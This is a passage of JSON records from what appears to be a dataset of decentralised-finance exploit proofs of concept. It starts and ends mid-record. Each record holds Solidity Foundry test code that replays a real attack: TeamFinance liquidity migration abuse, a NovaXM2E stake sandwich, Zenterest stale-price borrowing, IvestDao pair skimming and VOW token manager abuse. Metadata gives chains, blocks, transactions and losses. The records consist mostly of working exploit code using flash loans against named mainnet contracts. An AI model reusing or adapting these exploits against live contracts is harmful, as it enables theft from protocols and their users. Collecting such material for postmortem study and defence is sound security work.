USDC_TSUKA_UniV2Pair to V3 ====================\n _liquidityToMigrate = IERC20(USDC_TSUKA_UniV2Pair).balanceOf(LockToken);\n parms = IV3Migrator.MigrateParams({\n pair: USDC_TSUKA_UniV2Pair,\n liquidityToMigrate: _liquidityToMigrate,\n percentageToMigrate: 1,\n token0: usdc,\n token1: tsuka,\n fee: 500,\n tickLower: -100,\n tickUpper: 100,\n amount0Min: 0,\n amount1Min: 0,\n recipient: address(this),\n deadline: block.timestamp,\n refundAsETH: true\n });\n ILockToken(LockToken).migrate(migrateId[2], parms, true, newPriceX96, false);\n\n usdc_bal = IERC20(usdc).balanceOf(address(this));\n\n if (usdc_bal > 0) {\n swapUsdcToDai();\n }\n\n //console.log(\"\\t[DEBUG]After migrated USDC_TSUKA_UniV2Pair, Attack Contract DAI balance\", IERC20(dai).balanceOf(address(this)));\n //console.log(\"\\t[DEBUG]After migrated USDC_TSUKA_UniV2Pair, Attack Contract TSUKA balance\", IERC20(caw).balanceOf(address(this)));\n\n //// ==================== Migrate KNDX_WETH_UniV2Pair to V3 ====================\n _liquidityToMigrate = IERC20(KNDX_WETH_UniV2Pair).balanceOf(LockToken);\n parms = IV3Migrator.MigrateParams({\n pair: KNDX_WETH_UniV2Pair,\n liquidityToMigrate: _liquidityToMigrate,\n percentageToMigrate: 1,\n token0: selfmadeToken,\n token1: weth,\n fee: 500,\n tickLower: -100,\n tickUpper: 100,\n amount0Min: 0,\n amount1Min: 0,\n recipient: address(this),\n deadline: block.timestamp,\n refundAsETH: true\n });\n\n ILockToken(LockToken).migrate(migrateId[3], parms, true, newPriceX96, false);\n\n //console.log(\"\\t[DEBUG] After migrated KNDX_WETH_UniV2Pair, Attack Contract ETH balance\", address(this).balance);\n\n // ===========================================================================\n\n emit log_named_decimal_uint(\"[After] Attack Contract ETH balance\", address(this).balance, 18);\n emit log_named_decimal_uint(\"[After] Attack Contract DAI balance\", IERC20(dai).balanceOf(address(this)), 18);\n emit log_named_decimal_uint(\"[After] Attack Contract CAW balance\", IERC20(caw).balanceOf(address(this)), 18);\n emit log_named_decimal_uint(\"[After] Attack Contract TSUKA balance\", IERC20(tsuka).balanceOf(address(this)), 18);\n }\n\n // Function 0xf9b65204\n function swapUsdcToDai() private {\n address curve_3pool = 0xbEbc44782C7dB0a1A60Cb6fe97d0b483032FF1C7;\n uint256 usdc_bal = IERC20(usdc).balanceOf(address(this));\n uint256 min_dy = usdc_bal / 100 * 98;\n IERC20(usdc).approve(curve_3pool, type(uint256).max);\n ICurvePool(curve_3pool).exchange(1, 0, usdc_bal, min_dy);\n }\n\n receive() external payable {}\n}\n\n/* -------------------- Interface -------------------- */\n\ninterface IV3Migrator {\n struct MigrateParams {\n address pair; // the Uniswap v2-compatible pair\n uint256 liquidityToMigrate; // expected to be balanceOf(msg.sender)\n uint8 percentageToMigrate; // represented as a numerator over 100\n address token0;\n address token1;\n uint24 fee;\n int24 tickLower;\n int24 tickUpper;\n uint256 amount0Min; // must be discounted by percentageToMigrate\n uint256 amount1Min; // must be discounted by percentageToMigrate\n address recipient;\n uint256 deadline;\n bool refundAsETH;\n }\n}\n\ninterface ILockToken {\n struct Items {\n address tokenAddress;\n address withdrawalAddress;\n uint256 tokenAmount;\n uint256 unlockTime;\n bool withdrawn;\n }\n\n function migrate(\n uint256 _id,\n IV3Migrator.MigrateParams calldata params,\n bool noLiquidity,\n uint160 sqrtPriceX96,\n bool _mintNFT\n ) external payable;\n\n //function lockedToken(uint256) external returns(Items memory);\n\n function lockToken(\n address _tokenAddress,\n address _withdrawalAddress,\n uint256 _amount,\n uint256 _unlockTime,\n bool _mintNFT\n ) external payable returns (uint256 _id);\n\n function extendLockDuration(uint256 _id, uint256 _unlockTime) external;\n}\n", "type": "exploit_poc", "protocol": "TeamFinance", "date": "2022-10", "file_name": "TeamFinance_exp.sol", "attack_vector": null, "content_hash": "2a0212482846be40", "collected_at": "2026-01-07T10:59:16.517679", "_source": "postmortems", "chain": "ethereum", "block_number": 15837893, "total_lost_raw": "Multiple Tokens ~$15.8M US$", "total_lost_usd": 15800000.0, "attacker_address": null, "attack_contract": null, "vulnerable_contract": "https://etherscan.io/address/0x48d118c9185e4dbafe7f3813f8f29ec8a6248359#code#L1535", "attack_tx": "https://etherscan.io/tx/0xb2e3ea72d353da43a2ac9a8f1670fd16463ab370e563b9b5b26119b2601277ce", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "critical", "severity_raw": "Multiple Tokens ~$15.8M US$", "category": "unknown", "exploit_code": "function testExploit() public {\n IV3Migrator.MigrateParams memory parms;\n uint256 _liquidityToMigrate;\n\n emit log_named_decimal_uint(\"[Before] Attack Contract ETH balance\", address(this).balance, 18);\n emit log_named_decimal_uint(\"[Before] Attack Contract DAI balance\", IERC20(dai).balanceOf(address(this)), 18);\n emit log_named_decimal_uint(\"[Before] Attack Contract CAW balance\", IERC20(caw).balanceOf(address(this)), 18);\n emit log_named_decimal_uint(\n \"[Before] Attack Contract TSUKA balance\", IERC20(tsuka).balanceOf(address(this)), 18\n );\n\n // The exploit code could be written like a for loop, but we keep it simple to let you could do some debugging here.\n // ==================== Migrate FEG_WETH_UniV2Pair to V3 ====================\n _liquidityToMigrate = IERC20(FEG_WETH_UniV2Pair).balanceOf(LockToken);\n parms = IV3Migrator.MigrateParams({\n pair: FEG_WETH_UniV2Pair,\n liquidityToMigrate: _liquidityToMigrate,\n percentageToMigrate: 1, // 1%\n token0: selfmadeToken,\n token1: weth,\n fee: 500,\n tickLower: -100,\n tickUpper: 100,\n amount0Min: 0,\n amount1Min: 0,\n recipient: address(this),\n deadline: block.timestamp,\n refundAsETH: true\n });\n\n ILockToken(LockToken).migrate(migrateId[0], parms, true, newPriceX96, false);\n\n //console.log(\"\\t[DEBUG]After migrated FEG_WETH_UniV2Pair, Attack Contract ETH balance\", address(this).balance);\n\n // ==================== Migrate USDC_CAW_UniV2Pair to V3 ====================\n _liquidityToMigrate = IERC20(USDC_CAW_UniV2Pair).balanceOf(LockToken);\n parms = IV3Migrator.MigrateParams({\n pair: USDC_CAW_UniV2Pair,\n liquidityToMigrate: _liquidityToMigrate,\n percentageToMigrate: 1,\n token0: usdc,\n token1: caw,\n fee: 500,\n tickLower: -100,\n tickUpper: 100,\n amount0Min: 0,\n amount1Min: 0,\n recipient: address(this),\n deadline: block.timestamp,\n refundAsETH: true\n });\n\n ILockToken(LockToken).migrate(migrateId[1], parms, true, newPriceX96, false);\n\n uint256 usdc_bal = IERC20(usdc).balanceOf(address(this));\n\n if (usdc_bal > 0) {\n swapUsdcToDai();\n }\n\n //console.log(\"\\t[DEBUG]After migrated USDC_CAW_UniV2Pair, Attack Contract DAI balance\", IERC20(dai).balanceOf(address(this)));\n //console.log(\"\\t[DEBUG]After migrated USDC_CAW_UniV2Pair, Attack Contract CAW balance\", IERC20(caw).balanceOf(address(this)));\n\n // ==================== Migrate USDC_TSUKA_UniV2Pair to V3 ====================\n _liquidityToMigrate = IERC20(USDC_TSUKA_UniV2Pair).balanceOf(LockToken);\n parms = IV3Migrator.MigrateParams({\n pair: USDC_TSUKA_UniV2Pair,\n liquidityToMigrate: _liquidityToMigrate,\n percentageToMigrate: 1,\n token0: usdc,\n token1: tsuka,\n fee: 500,\n tickLower: -100,\n tickUpper: 100,\n amount0Min: 0,\n amount1Min: 0,\n recipient: address(this),\n deadline: block.timestamp,\n refundAsETH: true\n });\n ILockToken(LockToken).migrate(migrateId[2], parms, true, newPriceX96, false);\n\n usdc_bal = IERC20(usdc).balanceOf(address(this));\n\n if (usdc_bal > 0) {\n swapUsdcToDai();\n }\n\n //console.log(\"\\t[DEBUG]After migrated USDC_TSUKA_UniV2Pair, Attack Contract DAI balance\", IERC20(dai).balanceOf(address(this)));\n //console.log(\"\\t[DEBUG]After migrated USDC_TSUKA_UniV2Pair, Attack Contract TSUKA balance\", IERC20(caw).balanceOf(address(this)));\n\n //// ==================== Migrate KNDX_WETH_UniV2Pair to V3 ====================\n _liquidityToMigrate = IERC20(KNDX_WETH_UniV2Pair).balanceOf(LockToken);\n parms = IV3Migrator.MigrateParams({\n pair: KNDX_WETH_UniV2Pair,\n liquidityToMigrate: _liquidityToMigrate,\n percentageToMigrate: 1,\n token0: selfmadeToken,\n token1: weth,\n fee: 500,\n tickLower: -100,\n tickUpper: 100,\n amount0Min: 0,\n amount1Min: 0,\n recipient: address(this),\n deadline: block.timestamp,\n refundAsETH: true\n });\n\n ILockToken(LockToken).migrate(migrateId[3], parms, true, newPriceX96, false);\n\n //console.log(\"\\t[DEBUG] After migrated KNDX_WETH_UniV2Pair, Attack Contract ETH balance\", address(this).balance);\n\n // ===========================================================================\n\n emit log_named_decimal_uint(\"[After] Attack Contract ETH balance\", address(this).balance, 18);\n emit log_named_decimal_uint(\"[After] Attack Contract DAI balance\", IERC20(dai).balanceOf(address(this)), 18);\n emit log_named_decimal_uint(\"[After] Attack Contract CAW balance\", IERC20(caw).balanceOf(address(this)), 18);\n emit log_named_decimal_uint(\"[After] Attack Contract TSUKA balance\", IERC20(tsuka).balanceOf(address(this)), 18);\n }\n\n // Function 0xf9b65204", "has_exploit_code": true, "keyinfo_total_lost": "Multiple Tokens ~$15.8M US$", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "https://etherscan.io/address/0x48d118c9185e4dbafe7f3813f8f29ec8a6248359#code#L1535", "keyinfo_attack_tx": "https://etherscan.io/tx/0xb2e3ea72d353da43a2ac9a8f1670fd16463ab370e563b9b5b26119b2601277ce", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$15.80M", "content_richness_score": 9, "quality_estimate": "high", "title": "TeamFinance Exploit (2022-10)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo -- Total Lost : ~25k USD\n// TX : https://bscscan.com/tx/0xb1ad1188d620746e2e64785307a7aacf2e8dbda4a33061a4f2fbc9721048e012\n// GUY : https://x.com/EXVULSEC/status/1820676684410147276\n// Reason: stake contract will change the token value into usdt value,and withdraw will use this value to cal the amount of token to the\n// attacker, so it's easy to sandwitch the stake and withdraw.\n\ninterface ITokenStake {\n function stakeIndex() external returns (uint256);\n\n function stake(uint256 _poolId, uint256 _stakeValue) external;\n\n function withdraw(\n uint256 _stakeId\n ) external;\n}\n\ncontract ContractTest is Test {\n IWBNB constant WBNB = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));\n Uni_Router_V2 constant router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);\n Uni_Pair_V2 constant Pair = Uni_Pair_V2(0x7EFaEf62fDdCCa950418312c6C91Aef321375A00);\n IERC20 constant USDT = IERC20((0x55d398326f99059fF775485246999027B3197955));\n IERC20 NovaXM2E = IERC20(0xB800AFf8391aBACDEb0199AB9CeBF63771FcF491);\n uint256 swapamount;\n ITokenStake tokenStake = ITokenStake(0x55C9EEbd368873494C7d06A4900E8F5674B11bD2);\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", 41_116_210);\n deal(address(USDT), address(this), 0);\n }\n\n function testExploit() public {\n emit log_named_decimal_uint(\"[End] Attacker USDT balance before exploit\", USDT.balanceOf(address(this)), 18);\n swapamount = 500_000 ether;\n Pair.swap(swapamount, 0, address(this), new bytes(1));\n emit log_named_decimal_uint(\"[End] Attacker USDT balance after exploit\", USDT.balanceOf(address(this)), 18);\n }\n\n function pancakeCall(\n address, /*sender*/\n uint256, /*amount0*/\n uint256, /*amount1*/\n bytes calldata /*data*/\n ) public {\n swap_token_to_token(address(USDT), address(NovaXM2E), USDT.balanceOf(address(this)));\n NovaXM2E.approve(address(tokenStake), NovaXM2E.balanceOf(address(this)));\n tokenStake.stake(0, NovaXM2E.balanceOf(address(this)) / 2);\n swap_token_to_token(address(NovaXM2E), address(USDT), NovaXM2E.balanceOf(address(this)));\n uint256 stakeIndex = tokenStake.stakeIndex();\n tokenStake.withdraw(stakeIndex);\n swap_token_to_token(address(NovaXM2E), address(USDT), NovaXM2E.balanceOf(address(this)));\n USDT.transfer(address(Pair), swapamount * 10_000 / 9975 + 1000);\n }\n\n receive() external payable {\n // payable(address(MARS)).transfer(address(this).balance);\n }\n\n function swap_token_to_token(address a, address b, uint256 amount) internal {\n IERC20(a).approve(address(router), amount);\n address[] memory path = new address[](2);\n path[0] = address(a);\n path[1] = address(b);\n router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amount, 0, path, address(this), block.timestamp);\n }\n}\n", "type": "exploit_poc", "protocol": "NovaXM2E", "date": "2024-08", "file_name": "NovaXM2E_exp.sol", "attack_vector": null, "content_hash": "547f0816aa7b3a86", "collected_at": "2026-01-07T10:59:16.517765", "_source": "postmortems", "chain": "bsc", "block_number": 41116210, "total_lost_raw": "~25k USD", "total_lost_usd": 25000.0, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": false, "has_attack_vector": false, "severity": "medium", "severity_raw": "~25k USD", "category": "unknown", "exploit_code": "function testExploit() public {\n emit log_named_decimal_uint(\"[End] Attacker USDT balance before exploit\", USDT.balanceOf(address(this)), 18);\n swapamount = 500_000 ether;\n Pair.swap(swapamount, 0, address(this), new bytes(1));\n emit log_named_decimal_uint(\"[End] Attacker USDT balance after exploit\", USDT.balanceOf(address(this)), 18);\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$25.0K", "content_richness_score": 4.53, "quality_estimate": "low", "title": "NovaXM2E Exploit (2024-08)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"../interface.sol\";\n\n// TX : https://etherscan.io/tx/0xfe8bc757d87e97a5471378c90d390df47e1b29bb9fca918b94acd8ecfaadc598\n// Profit : ~ 21000 USD\n// REASON : Price Out Of Date\n\ncontract ContractTest is Test {\n address attacker = address(this);\n Uni_Pair_V3 Pool = Uni_Pair_V3(0xC5c134A1f112efA96003f8559Dba6fAC0BA77692);\n IERC20 WHITE = IERC20(0x5F0E628B693018f639D10e4A4F59BD4d8B2B6B44);\n IERC20 MPH = IERC20(0x8888801aF4d980682e47f1A9036e589479e835C5);\n IUnitroller unitroller = IUnitroller(0x606246e9EF6C70DCb6CEE42136cd06D127E2B7C7);\n ICErc20Delegate zenWHITE = ICErc20Delegate(0xE3334e66634acF17B2b97ab560ec92D6861b25fa);\n ICErc20Delegate zenMPH = ICErc20Delegate(0x4dD6D5D861EDcD361455b330fa28c4C9817dA687);\n\n function setUp() external {\n vm.createSelectFork(\"mainnet\", 20_541_640 - 1);\n vm.label(address(WHITE), \"WHITE\");\n vm.label(address(MPH), \"MPH\");\n vm.label(address(Pool), \"Pool\");\n vm.label(address(unitroller), \"unitroller\");\n vm.label(address(zenWHITE), \"zenWHITE\");\n vm.label(address(zenMPH), \"zenMPH\");\n }\n\n function testExploit() external {\n vm.prank(0x90744C976F69c7d112E8Fe85c750ACe2a2c16f15);\n MPH.transfer(attacker, 23_200 ether);\n Pool.flash(attacker, 85 ether, 0, \"\");\n }\n\n function uniswapV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {\n address[] memory cTokens = new address[](1);\n cTokens[0] = address(zenMPH);\n unitroller.enterMarkets(cTokens);\n MPH.approve(address(zenMPH), type(uint256).max);\n MPH.transfer(address(zenMPH), 2000 ether);\n zenMPH.mint(21_200 ether);\n\n uint256 WHITEBal = WHITE.balanceOf(attacker);\n WHITE.transfer(address(zenWHITE), WHITEBal);\n zenWHITE.accrueInterest();\n\n uint256 borrowAmount = WHITE.balanceOf(address(zenWHITE));\n zenWHITE.borrow(borrowAmount);\n\n WHITE.transfer(address(Pool), WHITEBal + fee0);\n }\n}\n", "type": "exploit_poc", "protocol": "Zenterest", "date": "2024-08", "file_name": "Zenterest_exp.sol", "attack_vector": null, "content_hash": "805b8a779a6f1692", "collected_at": "2026-01-07T10:59:16.517812", "_source": "postmortems", "chain": "ethereum", "block_number": 20541640, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 1.04, "quality_estimate": "low", "title": "Zenterest Exploit (2024-08)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"../interface.sol\";\n\n// TX : https://app.blocksec.com/explorer/tx/bsc/0x12f27e81e54684146ec50973ea94881c535887c2e2f30911b3402a55d67d121d\n// GUY : https://x.com/AnciliaInc/status/1822870201698050064\n// Profit : ~ 338 WBNB\n// REASON : Business logic flaw\n\ncontract ContractTest is Test {\n IWBNB WBNB = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n IERC20 iVest = IERC20(0x786fCF76dC44B29845f284B81f5680b6c47302c6);\n Uni_Pair_V3 pool = Uni_Pair_V3(0x36696169C63e42cd08ce11f5deeBbCeBae652050);\n Uni_Router_V2 router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);\n Uni_Pair_V2 constant iVest_pair = Uni_Pair_V2(0x2607118D363789f841d952f02e359BFa483955f9);\n uint256 borrow_amount;\n\n function setUp() external {\n cheats.createSelectFork(\"bsc\", 41_289_497);\n }\n\n function testExploit() external {\n emit log_named_decimal_uint(\"[Begin] Attacker WBNB before exploit\", WBNB.balanceOf(address(this)), 18);\n borrow_amount = 1200 ether;\n pool.flash(address(this), 0, borrow_amount, \"\");\n emit log_named_decimal_uint(\"[End] Attacker WBNB after exploit\", WBNB.balanceOf(address(this)), 18);\n }\n\n function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, /*fee1*/ bytes memory /*data*/ ) public {\n uint256 i = 0;\n while (i < 30) {\n swap_token_to_token(address(WBNB), address(iVest), 40 ether);\n i++;\n }\n i = 0;\n while (i < 3) {\n iVest.transfer(address(iVest_pair), 100_000_000_000);\n iVest_pair.skim(address(0));\n iVest_pair.sync();\n i++;\n }\n iVest.transfer(address(iVest_pair), 13_520_128_050);\n iVest_pair.skim(address(0));\n iVest_pair.sync();\n //whale fee here,need some calculate.Swap all remain token will lead to error.may be the contract\n //will use more token than you transfer.\n swap_token_to_token(address(iVest), address(WBNB), 30_820_994_590);\n WBNB.transfer(address(pool), borrow_amount + fee1);\n }\n\n function swap_token_to_token(address a, address b, uint256 amount) internal {\n IERC20(a).approve(address(router), amount);\n address[] memory path = new address[](2);\n path[0] = address(a);\n path[1] = address(b);\n router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amount, 0, path, address(this), block.timestamp);\n }\n\n receive() external payable {\n // payable(address(MARS)).transfer(address(this).balance);\n }\n}\n", "type": "exploit_poc", "protocol": "IvestDao", "date": "2024-08", "file_name": "IvestDao_exp.sol", "attack_vector": null, "content_hash": "bacc39cfc7509aea", "collected_at": "2026-01-07T10:59:16.517856", "_source": "postmortems", "chain": "unknown", "block_number": 41289497, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 1.36, "quality_estimate": "low", "title": "IvestDao Exploit (2024-08)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.15;\n\nimport \"../basetest.sol\";\nimport \"../interface.sol\";\nimport \"forge-std/Test.sol\";\n\n// @KeyInfo - Total Lost : ~ 1M USD\n// Attacker : https://etherscan.io/address/0x48de6bf9e301946b0a32b053804c61dc5f00c0c3\n// Attack Contract : https://etherscan.io/address/0xb7f221e373e3f44409f91c233477ec2859261758\n// Vulnerable Contract : https://etherscan.io/address/0x1bbf25e71ec48b84d773809b4ba55b6f4be946fb\n// Attack Tx : https://etherscan.io/tx/0x758efef41e60c0f218682e2fa027c54d8b67029d193dd7277d6a881a24b9a561\n\n// @Info\n// Vulnerable Contract Code : https://etherscan.io/address/0x1bbf25e71ec48b84d773809b4ba55b6f4be946fb#code\n\n// @Analysis\n// Post-mortem :\n// Twitter Guy :\n// Hacking God :\npragma solidity ^0.8.0;\n\ncontract VOW is BaseTestWithBalanceLog {\n uint256 blocknumToForkFrom = 20_519_309 - 1;\n\n address private constant VOW_WETH_Pair = 0x7FdEB46b3a0916630f36E886D675602b1007Fcbb;\n address private constant vUSD_VOW_Pair = 0x97BE09f2523B39B835Da9EA3857CfA1D3C660cBb;\n address private constant VOW_USDT_Pair = 0x1E49768714E438E789047f48FD386686a5707db2;\n\n address private constant vscTokenManager = 0x184497031808F2b6A2126886C712CC41f146E5dC;\n address private constant vow = 0x1BBf25e71EC48B84d773809B4bA55B6F4bE946Fb;\n address private constant weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\n address private constant vUSD = 0x0fc6C0465C9739d4a42dAca22eB3b2CB0Eb9937A;\n address private constant usdt = 0xdAC17F958D2ee523a2206206994597C13D831ec7;\n\n address private constant attacker = 0x48de6bF9e301946b0a32b053804c61DC5f00c0c3;\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", blocknumToForkFrom);\n\n vm.startPrank(attacker);\n IERC20(vow).approve(address(address(this)), type(uint256).max);\n IERC20(vUSD).approve(address(address(this)), type(uint256).max);\n vm.stopPrank();\n }\n\n function testExploit() public balanceLog {\n //implement exploit code here\n emit log_named_decimal_uint(\n \"Before exploit VOW balance of attacker:\", IERC20(vow).balanceOf(attacker), IERC20(vow).decimals()\n );\n emit log_named_decimal_uint(\n \"Before exploit USDT balance of attacker:\", IERC20(usdt).balanceOf(attacker), IERC20(usdt).decimals()\n );\n emit log_named_decimal_uint(\"Before exploit ETH balance of attacker:\", attacker.balance, 18);\n\n uint256 vowBalance = IERC20(vow).balanceOf(VOW_WETH_Pair);\n Uni_Pair_V2(VOW_WETH_Pair).swap(vowBalance - 1, 0, address(this), hex\"00\");\n\n vowBalance = IERC20(vow).balanceOf(address(this));\n IERC20(vow).transfer(attacker, vowBalance / 10);\n (uint112 reserve0, uint112 reserve1,) = Uni_Pair_V2(VOW_WETH_Pair).getReserves();\n vowBalance = IERC20(vow).balanceOf(address(this));\n IERC20(vow).transfer(VOW_WETH_Pair, vowBalance / 2);\n\n uint256 amount0In = IERC20(vow).balanceOf(VOW_WETH_Pair) - reserve0;\n uint256 amount1Out = getAmount1Out(reserve0, reserve1, amount0In);\n Uni_Pair_V2(VOW_WETH_Pair).swap(0, amount1Out, address(this), hex\"\");\n IWETH(payable(weth)).withdraw(amount1Out);\n (bool success,) = attacker.call{value: amount1Out}(\"\");\n require(success, \"Fail to send eth\");\n\n (reserve0, reserve1,) = Uni_Pair_V2(VOW_USDT_Pair).getReserves();\n IERC20(vow).transfer(VOW_USDT_Pair, IERC20(vow).balanceOf(address(this)));\n amount0In = IERC20(vow).balanceOf(VOW_USDT_Pair) - reserve0;\n amount1Out = getAmount1Out(reserve0, reserve1, amount0In);\n Uni_Pair_V2(VOW_USDT_Pair).swap(0, amount1Out, address(this), hex\"\");\n (success,) = usdt.call(\n abi.encodeWithSignature(\"transfer(address,uint256)\", attacker, IERC20(usdt).balanceOf(address(this)))\n );\n require(success, \"Fail to transfer USDT\");\n\n emit log_named_decimal_uint(\n \"After exploit: VOW balance of attacker:\", IERC20(vow).balanceOf(attacker), IERC20(vow).decimals()\n );\n emit log_named_decimal_uint(\n \"After exploit: USDT balance of attacker:\", IERC20(usdt).balanceOf(attacker), IERC20(usdt).decimals()\n );\n emit log_named_decimal_uint(\"After exploit: ETH balance of attacker:\", attacker.balance, 18);\n }\n\n function uniswapV2Call(address sender, uint256 amount0, uint256, bytes calldata) external {\n require(msg.sender == VOW_WETH_Pair, \"not from pool\");\n require(sender == address(this), \"not from this contract\");\n\n IERC20(vow).transfer(attacker, amount0);\n\n IERC20(vow).transferFrom(attacker, vscTokenManager, amount0);\n\n uint256 vUSDBalance = IERC20(vUSD).balanceOf(attacker);\n IERC20(vUSD).transferFrom(attacker, address(this), vUSDBalance);\n (uint112 reserve0, uint112 reserve1,) = Uni_Pair_V2(vUSD_VOW_Pair).getReserves();\n IERC20(vUSD).transfer(vUSD_VOW_Pair, vUSDBalance);\n\n uint256 amount0In = IERC20(vUSD).balanceOf(vUSD_VOW_Pair) - reserve0;\n uint256 amount1Out = getAmount1Out(reserve0, reserve1, amount0In);\n Uni_Pair_V2(vUSD_VOW_Pair).swap(0, amount1Out, address(this), hex\"\");\n\n uint256 fee = amount0 * 3 / 997 + 1000;\n uint256 amountToPay = amount0 + fee;\n IERC20(vow).transfer(VOW_WETH_Pair, amountToPay);\n }\n\n function getAmount1Out(uint112 reserve0, uint112 reserve1, uint256 amount0In) private pure returns (uint256) {\n return reserve1 * 997 * amount0In / (1000 * reserve0 + 997 * amount0In);\n }\n\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "VOW", "date": "2024-08", "file_name": "VOW_exp.sol", "attack_vector": null, "content_hash": "facd208e634cde25", "collected_at": "2026-01-07T10:59:16.517913", "_source": "postmortems", "chain": "ethereum", "block_number": null, "total_lost_raw": "~ 1M USD", "total_lost_usd": 1000000.0, "attacker_address": "https://etherscan.io/address/0x48de6bf9e301946b0a32b053804c61dc5f00c0c3", "attack_contract": "https://etherscan.io/address/0xb7f221e373e3f44409f91c233477ec2859261758", "vulnerable_contract": "https://etherscan.io/address/0x1bbf25e71ec48b84d773809b4ba55b6f4be946fb", "attack_tx": "https://etherscan.io/tx/0x758efef41e60c0f218682e2fa027c54d8b67029d193dd7277d6a881a24b9a561", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "critical", "severity_raw": "~ 1M USD", "category": "unknown", "exploit_code": "function testExploit() public balanceLog {\n //implement exploit code here\n emit log_named_decimal_uint(\n \"Before exploit VOW balance of attacker:\", IERC20(vow).balanceOf(attacker), IERC20(vow).decimals()\n );\n emit log_named_decimal_uint(\n \"Before exploit USDT balance of attacker:\", IERC20(usdt).balanceOf(attacker), IERC20(usdt).decimals()\n );\n emit log_named_decimal_uint(\"Before exploit ETH balance of attacker:\", attacker.balance, 18);\n\n uint256 vowBalance = IERC20(vow).balanceOf(VOW_WETH_Pair);\n Uni_Pair_V2(VOW_WETH_Pair).swap(vowBalance - 1, 0, address(this), hex\"00\");\n\n vowBalance = IERC20(vow).balanceOf(address(this));\n IERC20(vow).transfer(attacker, vowBalance / 10);\n (uint112 reserve0, uint112 reserve1,) = Uni_Pair_V2(VOW_WETH_Pair).getReserves();\n vowBalance = IERC20(vow).balanceOf(address(this));\n IERC20(vow).transfer(VOW_WETH_Pair, vowBalance / 2);\n\n uint256 amount0In = IERC20(vow).balanceOf(VOW_WETH_Pair) - reserve0;\n uint256 amount1Out = getAmount1Out(reserve0, reserve1, amount0In);\n Uni_Pair_V2(VOW_WETH_Pair).swap(0, amount1Out, address(this), hex\"\");\n IWETH(payable(weth)).withdraw(amount1Out);\n (bool success,) = attacker.call{value: amount1Out}(\"\");\n require(success, \"Fail to send eth\");\n\n (reserve0, reserve1,) = Uni_Pair_V2(VOW_USDT_Pair).getReserves();\n IERC20(vow).transfer(VOW_USDT_Pair, IERC20(vow).balanceOf(address(this)));\n amount0In = IERC20(vow).balanceOf(VOW_USDT_Pair) - reserve0;\n amount1Out = getAmount1Out(reserve0, reserve1, amount0In);\n Uni_Pair_V2(VOW_USDT_Pair).swap(0, amount1Out, address(this), hex\"\");\n (success,) = usdt.call(\n abi.encodeWithSignature(\"transfer(address,uint256)\", attacker, IERC20(usdt).balanceOf(address(this)))\n );\n require(success, \"Fail to transfer USDT\");\n\n emit log_named_decimal_uint(\n \"After exploit: VOW balance of attacker:\", IERC20(vow).balanceOf(attacker), IERC20(vow).decimals()\n );\n emit log_named_decimal_uint(\n \"After exploit: USDT balance of attacker:\", IERC20(usdt).balanceOf(attacker), IERC20(usdt).decimals()\n );\n emit log_named_decimal_uint(\"After exploit: ETH balance of attacker:\", attacker.balance, 18);\n }", "has_exploit_code": true, "keyinfo_total_lost": "~ 1M USD", "keyinfo_attacker": 